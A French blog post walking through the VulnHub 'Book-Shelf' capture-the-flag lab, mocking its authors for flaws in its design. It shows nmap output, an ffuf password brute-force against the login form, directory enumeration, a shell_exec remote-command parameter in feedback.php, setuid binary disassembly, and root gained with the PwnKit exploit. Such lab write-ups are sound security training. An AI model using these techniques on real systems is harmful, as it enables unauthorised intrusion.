Accueil Solution du CTF Book-Shelf de VulnHub
Post
Annuler

Solution du CTF Book-Shelf de VulnHub

On explore les poubelles bas fond de VulnHub avec le CTF Book-Shelf qui a été créé par pas moins de 6 personnes ! Wow !

On a la description suivante pour ce CTF :

“book shelf” is Built On Debian Distribution Includes various beginner to Intermediate level Challenges Based On Web, Networking, Buffer Overflow such as Stegnography, XSS, OS Command Injection , SSH, ftp , Privilege escalation , Fuzzing.

On verra que les mecs ont clairement fumé la moquette XD

Je m’interroge toujours sur le Buffer Overflow such as Stegnography ou la présence de deux noms de protocoles placés au milieu de types de vulnérabilités… Ces personnes là comprennent-elles ce qu’elles écrivent ?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
Nmap scan report for 192.168.56.110
Host is up (0.00020s latency).
Not shown: 65530 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0            5956 Mar 08  2021 webpass.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.56.1
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp    open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 88609f5e7d5fa1eeac2905f4c198a0af (RSA)
|   256 10bdcae7b29dccf45af9d324cd850539 (ECDSA)
|_  256 720ebfb82bf87d657207d45d18a885c6 (ED25519)
80/tcp    open  http    Apache httpd 2.4.38 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/
|_http-title: Book Shelf
|_http-server-header: Apache/2.4.38 (Debian)
3306/tcp  open  mysql   MySQL (unauthorized)
33060/tcp open  mysqlx?
| fingerprint-strings: 
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
|     Invalid message"
|     HY000
|   LDAPBindReq: 
|     *Parse error unserializing protobuf message"
|     HY000
|   oracle-tns: 
|     Invalid message-frame."
|_    HY000

On va voir sur le serveur FTP puisqu’il autorise la connexion anonyme. Là on trouve un fichier texte nommé webpass.txt contenant 757 passwords.

On se rend ensuite sur le serveur web qui correspond à un site fictif de librairie spécialisée dans la sécurité informatique.

Sur la page de login, dans le code source, on trouve le commentaire HTML suivant :

1
<!-- aHR0cHM6Ly9naXRodWIuY29tL3NlYy1iZWhlYWx0aHk=  --> 

Soit cette URL :

https://github.com/sec-behealthy

On y trouve (pour résumer) seulement ce contenu :

Hello username

Don’t think much, it’s simple!

Ca laisserait supposer que le nom d’utilisateur à utiliser pour la page de login est username

Mais si on tente de bruteforcer le password avec la wordlist donnée :

1
2
3
4
ffuf -u http://192.168.56.110/root/log_in/meaco/login.php -X POST \
  -d "uname=username&password=FUZZ&submit=Login" \
  -H "Content-type: application/x-www-form-urlencoded" \
  -w webpass.txt -fs 3989

Et bien on n’obtient aucun résultat.

A la racine du site se trouve aussi un fichier robots.txt dont voici le contenu :

1
2
3
User-agent: * Disallow: /
#Dont Ignore 404! Developer 
#Try Harder  

J’ai tenté d’utiiser le login Developer sur la page de login, toujours sans succès.

Dans ces situations il n’y a qu’à énumérer encore et encore jusqu’à espérer qu’on trouve ce que les auteurs ont mis en place. J’ai ainsi trouvé différents dossiers sous /root/log_in :

1
2
3
4
301        9l       28w      325c http://192.168.56.110/root/log_in/js
301        9l       28w      325c http://192.168.56.110/root/log_in/db
301        9l       28w      328c http://192.168.56.110/root/log_in/admin
301        9l       28w      326c http://192.168.56.110/root/log_in/www

Il y avait par exemple ce fichier :

1
302        0l        0w        0c http://192.168.56.110/root/log_in/admin/contact.php

Si on s’y rend on est redirigé vers l’URL sur laquelle a été rajouté un paramètre :

1
http://192.168.56.110/root/log_in/admin/contact.php?status=

Mais la page ne semble vulnérable qu’à un XSS et aucune automatisation n’est présente pour simuler une victime.

J’ai aussi trouvé cette URL qui ne semblait d’aucune utilité :

1
http://192.168.56.110/root/log_in/admin/fd.php

J’ai énuméré toujours plus et j’ai trouvé différents dossiers sous le dossier images :

1
2
3
4
5
301        9l       28w      332c http://192.168.56.110/root/images/os/Images
301        9l       28w      330c http://192.168.56.110/root/images/os/Home
301        9l       28w      335c http://192.168.56.110/root/images/os/Downloads
301        9l       28w      335c http://192.168.56.110/root/images/os/Documents
301        9l       28w      333c http://192.168.56.110/root/images/os/Desktop

Et c’est finalement sous le dossier os que j’ai trouvé un fichier feedback.php qui était intéressant. Voici la commande feroxbuster correspondante :

1
feroxbuster -u http://192.168.56.110/root/images/os/ -w fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-files.txt -n

Là encore il faut regarder le code HTML pour comprendre :

1
2
3
4
5
6
7
8
<html>
<body>

<h3>Page is under construction </h3>
<p>Contact Administrator</p> 
<!-- P3BhdGg9 -->
</body>
</html>

Le base 64 se décode en ?path= mais contrairement à ce qu’on pourrait croire il ne s’agit pas d’une inclusion de fichier mais directement d’une RCE (le script fait un shell_exec du paramètre)

Un accès au système plus tard je liste les fichiers qui étaient vraiment présents sous la racine web :

1
2
3
4
5
6
7
8
9
10
11
www-data@debian:/var/www/html$ find . -type f | grep -v jpg
./robots.txt
./root/log_in/meaco/login.php
./root/log_in/admin/B00kYouRProFile.php
./root/log_in/admin/fd.php
./root/log_in/admin/contact.php
./root/images/os/feedback.php
./root/images/os/Documents/rce2.txt
./apache2.conf.bkp
./index.html
./index.html.save

Donc vraiment pas grand chose de valeur.

Même si le nom d’utilisateur était bien username, c’était impossible de se connecter via la wordlist fournie car il y a une typo sur le mot de passe. Ici la lettre b de KeepR3ading@b00ks est en minuscule alors qu’elle est en majuscule dans la wordlist.

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if (isset($_POST['submit'])){
          $user = $_POST['uname'];
          $pass = $_POST['password'];
          if($user=="username"  &&  $pass=="KeepR3ading@b00ks"){
                  echo("success");
                  echo "<script> window.location.assign('/root/log_in/admin/B00kYouRProFile.php'); </script>";
          }else{
              echo("<h4>wrong Credentials error No user name and password found</h4>");
          }
}
?>

Pour l’escalade de privilèges on trouve un binaire setuid et un flag dont l’accès est refusé :

1
2
3
4
5
6
7
8
9
10
11
www-data@debian:/home/defender$ find . -type f 2> /dev/null 
./Desktop/.flag3.txt
./.bash_logout
./.ICEauthority
./.profile
./Downloads/.shelf
./.bashrc
./.bash_history
www-data@debian:/home/defender$ file ./Desktop/.flag3.txt ./Downloads/.shelf
./Desktop/.flag3.txt: regular file, no read permission
./Downloads/.shelf:   setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=046c0f68fb4583cf0d53e44e3f066bedea3fbbd8, for GNU/Linux 3.2.0, not stripped

Le binaire .shelf est setuid mais pour l’utilisateur defender :

-rwsrwxrwx 1 defender defender 16896 Mar  8  2021 /home/defender/Downloads/.shelf

C’est problématique car dans le code l’argument passé à setuid est 0 (donc root) :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gdb-peda$ disass main
Dump of assembler code for function main:
   0x0000000000001189 <+0>:     endbr64 
   0x000000000000118d <+4>:     push   rbp
   0x000000000000118e <+5>:     mov    rbp,rsp
   0x0000000000001191 <+8>:     mov    edi,0x0
   0x0000000000001196 <+13>:    call   0x1090 <setuid@plt>
   0x000000000000119b <+18>:    mov    edi,0x0
   0x00000000000011a0 <+23>:    call   0x1080 <setgid@plt>
   0x00000000000011a5 <+28>:    lea    rdi,[rip+0xe58]        # 0x2004
   0x00000000000011ac <+35>:    mov    eax,0x0
   0x00000000000011b1 <+40>:    call   0x1070 <system@plt>
   0x00000000000011b6 <+45>:    nop
   0x00000000000011b7 <+46>:    pop    rbp
   0x00000000000011b8 <+47>:    ret    
End of assembler dump.

Du coup l’appel échoue, le binaire ne peux pas fonctionner.

Comme j’ai pu le dire sur d’autres CTFs, écraser un binaire setuid retire son bit donc impossible de rectifier l’appel à setuid :

1
2
3
4
5
6
7
www-data@debian:/home/defender/Downloads$ ls -al .shelf
-rwsrwxrwx  1 defender defender 16896 Mar  8  2021 .shelf
www-data@debian:/home/defender/Downloads$ which id
/usr/bin/id
www-data@debian:/home/defender/Downloads$ cat /usr/bin/id > .shelf
www-data@debian:/home/defender/Downloads$ ls -al .shelf 
-rwxrwxrwx 1 defender defender 43808 Feb 19 02:53 .shelf

Pour passer root on peut heureusement compter sur l’exploit PwnKit pour la CVE-2021-4034 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
www-data@debian:/tmp$ ./PwnKit 
root@debian:/tmp# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
root@debian:/tmp# cd /root
root@debian:~# ls
root.txt
root@debian:~# cat root.txt
Congratulations on Getting Root Privileges!

book4["4cyber_sec_kevin4"]

This CTF is made by Securium Solutions Pvt Ltd!
Authors:
Sunil Singh
Neha Singh
Pallab Jyoti Borah
Vishal Thakur
Shubham Jaiswal
Sam Nivethan V J

See you with Another one :)

Six auteurs pour créer ce CTF et aucun n’a visiblement vérifié que ça fonctionnait correctement…

Publié le 18 février 2023

Cet article est sous licence CC BY 4.0 par l'auteur.